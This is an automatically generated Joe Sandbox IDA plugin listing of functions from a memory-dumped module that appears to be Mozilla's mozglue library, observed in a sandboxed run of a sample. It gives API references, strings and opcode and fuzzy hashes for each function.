Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: memset
String ID: ~q|l
API String ID: 2221118986-941166941
Opcode ID: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction ID: e4633f0fffd3a73d0a03ee04e45b42da138a504d9b76ad2824a0c70d082458df
Opcode Fuzzy Hash: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction Fuzzy Hash: 95A1D972A0022A8FCB24CE98CD80799B7B2AF85314F1516BAC54DDB745D730A999CBD0

Function 6C82C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C82C0E9), ref: 6C82C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C82C437
FreeLibrary.KERNEL32(?,6C82C0E9), ref: 6C82C44C

Strings

NtQueryVirtualMemory, xrefs: 6C82C431
ntdll.dll, xrefs: 6C82C413

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: e2a4877f02f93f02632a3130c36999c1684859799f096fb9bd17b6bc46a099f2
Instruction ID: 1cfeea708db2c1ffefe632041a571182085d02b1dd59c5fbf47dc2c156fac3bf
Opcode Fuzzy Hash: e2a4877f02f93f02632a3130c36999c1684859799f096fb9bd17b6bc46a099f2
Instruction Fuzzy Hash: 84E09A706057159BEB307FB58E08B277BF8A76624CF00D53AAA0495601DB74D000CAD0

Function 6C7D9F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

1, xrefs: 6C7DA824
' , xrefs: 6C7DA3D8
0, xrefs: 6C7DA100
@, xrefs: 6C7DA625
9, xrefs: 6C7DA5D6
0, xrefs: 6C7DAB22

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: d95f381a75fd81eafb3b736c02fce0e5b2dbc93d9dea343650ddc9b53c6979f6
Instruction ID: 5a63e6829de68b25d2708d97aa4a67eeb14671d93c96c7bc4a8eeb633b5566d4
Opcode Fuzzy Hash: d95f381a75fd81eafb3b736c02fce0e5b2dbc93d9dea343650ddc9b53c6979f6
Instruction Fuzzy Hash: 8382D2719093118BD711CF19C29026EB7F2FB85778F578A3AE8D547A90D335B886CB82

Function 6C8177A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C817A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C817A93

Part of subcall function 6C7E5C50: GetTickCount64.KERNEL32 ref: 6C7E5D40
Part of subcall function 6C7E5C50: EnterCriticalSection.KERNEL32(6C84F688), ref: 6C7E5D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C817AA1

Part of subcall function 6C7E5C50: __aulldiv.LIBCMT ref: 6C7E5DB4
Part of subcall function 6C7E5C50: LeaveCriticalSection.KERNEL32(6C84F688), ref: 6C7E5DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C817B31

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: 85172fd8a7f3d5176055717322861ad85816428edac9ca0ab6d5c4481050fd13
Instruction ID: 0b20ec77497a70dfb2b11095e89fc1b5c0b735f6847320f72a48626dbe3c18e0
Opcode Fuzzy Hash: 85172fd8a7f3d5176055717322861ad85816428edac9ca0ab6d5c4481050fd13
Instruction Fuzzy Hash: AAB1903560C3968BCB24CF24C65069FB7E2AFC5318F154E2CE99567B91D770E90ACB82

Function 6C7E8850 Relevance: 6.1, APIs: 1, Strings: 2, Instructions: 1567COMMON

Download Yara Rule

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C7E9813, 6C7E985D, 6C7E9878, 6C7E9CEB
MOZ_CRASH(), xrefs: 6C7E97EA

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID:
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 0-3566792288
Opcode ID: f5d5ca95471dc8bc0db1a1ad149752271ee38827522ab7867c3cfc4b43f6e718
Instruction ID: ca29c3235ea603b0786d276515ac5aca782486c75552362153bebdf9cce8ecc6
Opcode Fuzzy Hash: f5d5ca95471dc8bc0db1a1ad149752271ee38827522ab7867c3cfc4b43f6e718
Instruction Fuzzy Hash: ABD27D73A057018FC718CF19C690655BBE1BF99328F29C7ADD86A8B7A5D731E841CB80

Function 6C8285F0 Relevance: 5.9, APIs: 2, Strings: 1, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C828C7C
__aulldiv.LIBCMT ref: 6C828DD7

Strings

dkOZCdmfyhJXzlCDyszIv.exeVdkOZCdmfyhJXzlCDyszIv.exeVdkOZCdmfyhJXzlCDyszIv.exeVdkOZCdmfyhJXzlCDyszIv.exeVdkOZCdmfyhJXzlCDyszIv.exeVdkOZCdmfyhJXzlCDyszIv.exeVdkOZCdmfyhJXzlCDyszIv.exeVdkOZCdmfyhJXzlCDyszIv.exeVdkOZCdmfyhJXzlCDyszIv.exeVdkOZCdmf, xrefs: 6C828790, 6C828A47

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: __aulldiv
String ID: dkOZCdmfyhJXzlCDyszIv.exeVdkOZCdmfyhJXzlCDyszIv.exeVdkOZCdmfyhJXzlCDyszIv.exeVdkOZCdmfyhJXzlCDyszIv.exeVdkOZCdmfyhJXzlCDyszIv.exeVdkOZCdmfyhJXzlCDyszIv.exeVdkOZCdmfyhJXzlCDyszIv.exeVdkOZCdmfyhJXzlCDyszIv.exeVdkOZCdmfyhJXzlCDyszIv.exeVdkOZCdmf
API String ID: 3732870572-1773723810
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: b67165db6780d23efd15163d4cdf72b32a3014e3e378ccbea0f457ea7d1bf78a
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: 71326272F011198FDF28CE9CC5A57AEB7B2FB88300F15853AD506BB790D6389D858B91

Function 6C806CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C806D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C806E1E

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 209807c1f1aa12e2464494efd5a8b28a934afe68761730b9c74fb532a7bfbbad
Instruction ID: 2b5aeb428d9ab451df6017dea569a81998702217e349b7017c9cc643df9c159f
Opcode Fuzzy Hash: 209807c1f1aa12e2464494efd5a8b28a934afe68761730b9c74fb532a7bfbbad
Instruction Fuzzy Hash: FDA180706183818FD725CF24C5947AEBBE2BFC9308F544D2DE88A87751DB70A849CB92

Function 6C82B700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL ref: 6C82B720
RtlNtStatusToDosError.NTDLL ref: 6C82B75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,000000FF,00000000,00000000,?,0000001C,6C7FFE3F,00000000,00000000,?,?,00000000,?,6C7FFE3F), ref: 6C82B760

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: ad696ec68c158a2d796a51ac34116476ee5906900bd9a5ed74eb2d6904a1f976
Instruction ID: 5596f178883b69ddbc8ee8e4a306cb852c926f0a7f5e11ef9a44e81a0713c92f
Opcode Fuzzy Hash: ad696ec68c158a2d796a51ac34116476ee5906900bd9a5ed74eb2d6904a1f976
Instruction Fuzzy Hash: D2F0A47094121CAFDF219AE5CD88BEE77BC9B0532DF106639D516615C0D77895C8C6E0

Function 6C7E4640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C7E4777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C7E5585, 6C7E55A8, 6C7E55C3, 6C7E5624

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: 261b9dee38e62a728a1f03e0f1d6026d23752a07838e48ba583974b06e170e48
Instruction ID: f9b4518d1bdd4d79e3d956e5063faa86dd5af8bc1f7805dec4fd64265ab6279c
Opcode Fuzzy Hash: 261b9dee38e62a728a1f03e0f1d6026d23752a07838e48ba583974b06e170e48
Instruction Fuzzy Hash: 77B24E72A056018FD718CF19C690715BBE2BFC9328F29C7ADE4698B7A5D771E841CB80

Function 6C82B8C0 Relevance: 3.1, APIs: 2, Instructions: 118nativeCOMMON

Download Yara Rule

APIs

rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C7D03D4,?), ref: 6C82B955
NtQueryVirtualMemory.NTDLL ref: 6C82B9A5

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: MemoryQueryVirtualrand_s
String ID:
API String ID: 1889792194-0
Opcode ID: c225baea5065f0e61166913b9083b2859f67cc3a6f51c8a95dcd8d3ee25c67dc
Instruction ID: e4197561028d7d8da93bb8c1b233a57374dc7fc6b69d1b76aeaf31149632e82d
Opcode Fuzzy Hash: c225baea5065f0e61166913b9083b2859f67cc3a6f51c8a95dcd8d3ee25c67dc
Instruction Fuzzy Hash: D441C771E022199FDF14CFA8D988AEEB7B5EF88318F148539D416A7744EB34A845CBD0

Function 6C8376E3 Relevance: 1.8, Strings: 1, Instructions: 540COMMON

Download Yara Rule

Strings

~q|l, xrefs: 6C8379C0, 6C837B0B, 6C83793C, 6C8379FB, 6C837796, 6C837E0B

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID:
String ID: ~q|l
API String ID: 0-941166941
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: bc1b3719cdc7c629db022e2a68729099e9e88f3e743d7ff50e62adc03eeb85e7
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 2F320871E00629CFCB24CF98CA90AADF7F2BF88304F549569C949A7745D731A986CF90

Function 6C836E63 Relevance: 1.7, Strings: 1, Instructions: 498COMMON

Download Yara Rule

Strings

~q|l, xrefs: 6C837C72, 6C8379C0, 6C837B0B, 6C837C03, 6C83793C, 6C8379FB, 6C837E0B

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID:
String ID: ~q|l
API String ID: 0-941166941
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: a7a982e070fb72d9cdc5a9752f7b0d865c3fc7f52fb544a1b6f4bf0376b987e5
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: E122D871E00229CFDB24CF98C980A9DF7B2FF88304F6595A9C949A7745D731A986CF90

Function 6C805C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C7D4A63,?,?), ref: 6C805F06

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 9cb49d8e03773ffd95764c863c22cce9775d07bc971ab98fe643095a2a2c3f78
Instruction ID: f6c4fb4459b966a625bc89033f2955713c48b4101ba41636082a6b3110ac74c4
Opcode Fuzzy Hash: 9cb49d8e03773ffd95764c863c22cce9775d07bc971ab98fe643095a2a2c3f78
Instruction Fuzzy Hash: 4FC1C175E013098FCB24CF95CA906EEBBB2FF89318F28455DD8556BB44D731A805CBA4

Function 6C7CDFE0 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f450a05208fa4efc0fc27eb821a26fdeb3118d57b35d1ef264a78f7d949f58c
Instruction ID: a4451ffb0918a3798a25d7c6b465c0ca7f5848dd9258195c771777c8d9ae8729
Opcode Fuzzy Hash: 3f450a05208fa4efc0fc27eb821a26fdeb3118d57b35d1ef264a78f7d949f58c
Instruction Fuzzy Hash: 2C42DF32B087458FC314CE2CC59135AB3E2BFC9364F198B2EE999A7791D734D9418B82

Function 6C7F0512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 088c3453ac66f28eb07dc4064f64b2fdc2a705c66714caf0a284c36dd462ed07
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: BC221475E04619CFDB14CF98C990AADF7B2BF88304F5482A9C55AAB705D770A986CF80

Function 6C83AC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9caae54e49ace8a2bf773cc108ee7a2f415ed7b6b7c804081be7c56b38252d5d
Instruction ID: b02ad159b29b32c93a4a9e7474ae835a1382027eb757820c10d28f8137fcf775
Opcode Fuzzy Hash: 9caae54e49ace8a2bf773cc108ee7a2f415ed7b6b7c804081be7c56b38252d5d
Instruction Fuzzy Hash: B4F159716087554FDB20CEE8C9903EAB7E2AFC5318F05AE2DE8D887780E374984587C2

Function 6C7CC670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 5f7b22c1ac795574f272abe20b085e6866b71cd6f8349d3630863ceebe74664a
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: 40A19A71F0061A8FDB08CE69C9913AEB7F2AFC8355F188269D915E7781DB349C068B91

Function 6C807710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 859e7d335c65dc0670981e725e6a7709a0848dcebad1ed4d3bf5affb114ab487
Instruction ID: 5905ddcb9b10c2790950fb497785b2f0277e67b41180e39ab485aa728c26d4b9
Opcode Fuzzy Hash: 859e7d335c65dc0670981e725e6a7709a0848dcebad1ed4d3bf5affb114ab487
Instruction Fuzzy Hash: 44717D75E012198FCF28CFA8C9905EDBBB2FF89314F24852ED915AB740D731A905CB90

Function 6C8058E0 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: d61a8eb42b98223083179be341337bc33121d0aed8fb6aaad5e296f3e07711a1
Instruction ID: e015fdb4388b8705094ea95b23fa1c6d2f4cb7d5fb627aced1ffb367fd768faa
Opcode Fuzzy Hash: d61a8eb42b98223083179be341337bc33121d0aed8fb6aaad5e296f3e07711a1
Instruction Fuzzy Hash: 9081AD71A012199FCB14CFACD9809EEBBF2FF89318F248629D411AB741D731A945CBA0

Function 6C80CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C7D582D), ref: 6C80CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C7D582D), ref: 6C80CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C83FE98,?,?,?,?,?,6C7D582D), ref: 6C80CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C7D582D), ref: 6C80CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C7D582D), ref: 6C80CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C7D582D), ref: 6C80CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C7D582D), ref: 6C80CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C80CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C80CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C80CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C80CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C80CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C80CD82
